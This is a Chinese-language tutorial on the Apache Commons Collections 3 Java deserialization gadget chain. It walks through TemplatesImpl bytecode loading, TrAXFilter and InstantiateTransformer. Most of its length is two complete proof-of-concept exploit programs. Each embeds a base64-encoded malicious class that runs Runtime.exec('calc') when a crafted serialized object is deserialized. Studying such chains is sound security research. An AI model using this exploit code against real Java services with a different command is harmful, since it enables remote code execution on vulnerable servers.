[Java反序列化]—CommonsCollections3
前言
在了解动态加载字节码文件后，开始学习CC3[Java安全]—动态加载字节码文件
分析
前篇了解了动态加载字节码文件，后来在审CC3时发现就是TemplatesImpl加载字节码的一个反序列化延伸，将本条链和CC1的结合起来就能直接命令执行
只需要修改这部分即可，即：从原本的InvokerTransformer到Runtime.class到exec()变成了InvokerTransformer调用TemplatesImpl#newTransformer()
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
POC
package CommonsCollections3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class cc3{
public static void main(String[] args) throws Exception {
Templates templates = new TemplatesImpl();
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg==");
setFieldValue(templates,"_name","Sentiment");
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
//templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)constructor.newInstance(Target.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
handler
);
Object o = constructor.newInstance(Target.class, proxyMap);
serialize(o);
unserialize("1.txt");
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
out.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
Object o = In.readObject();
return o;
}
}
但这其实不是真正意义上的CC3，CC3的最终目的是绕过⼀些规则对InvokerTransformer的限制，所以ysoserial的作者就找到了一个TrAXFilter来代替InvokerTransformer
它里边有个构造器，可以执行 templates.newTransformer();且传入的templates可控
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
但该类没继承Serializable接口所以不能实例化，只能通过TrAXFilter.class这种方式来调用了，接着看下哪里能调用该方法
就找到了InstantiateTransformer
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
super();
iParamTypes = paramTypes;
iArgs = args;
}
/**
* Transforms the input Class object to a result by instantiation.
*
* @param input the input object to transform
* @return the transformed result
*/
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
}
有个transform()方法，并且可以调用
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
input、iParamTypes、iArgs都可控，并且最后执行newInstance(),那如果让con=TrAXFilter.class.getConstructor(templates),就能成功执行了
POC
package CommonsCollections3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class cc3{
public static void main(String[] args) throws Exception {
Templates templates = new TemplatesImpl();
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
setFieldValue(templates,"_name","Sentiment");
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
//setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
//templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter")),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)constructor.newInstance(Target.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
handler
);
Object o = constructor.newInstance(Target.class, proxyMap);
serialize(o);
unserialize("1.txt");
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
out.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
Object o = In.readObject();
return o;
}
}
我注释掉了这里
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
原因在于TemplatesImpl的readObject()中，最后一行已经进行了初始化：_tfactory = new TransformerFactoryImpl();因此再构造反序列化链时就不在需要加上这条
private void readObject(ObjectInputStream is)
throws IOException, ClassNotFoundException
{
SecurityManager security = System.getSecurityManager();
if (security != null){
String temp = SecuritySupport.getSystemProperty(DESERIALIZE_TRANSLET);
if (temp == null || !(temp.length()==0 || temp.equalsIgnoreCase("true"))) {
ErrorMsg err = new ErrorMsg(ErrorMsg.DESERIALIZE_TRANSLET_ERR);
throw new UnsupportedOperationException(err.toString());
}
}
// We have to read serialized fields first.
ObjectInputStream.GetField gf = is.readFields();
_name = (String)gf.get("_name", null);
_bytecodes = (byte[][])gf.get("_bytecodes", null);
_class = (Class[])gf.get("_class", null);
_transletIndex = gf.get("_transletIndex", -1);
_outputProperties = (Properties)gf.get("_outputProperties", null);
_indentNumber = gf.get("_indentNumber", 0);
if (is.readBoolean()) {
_uriResolver = (URIResolver) is.readObject();
}
_tfactory = new TransformerFactoryImpl();
}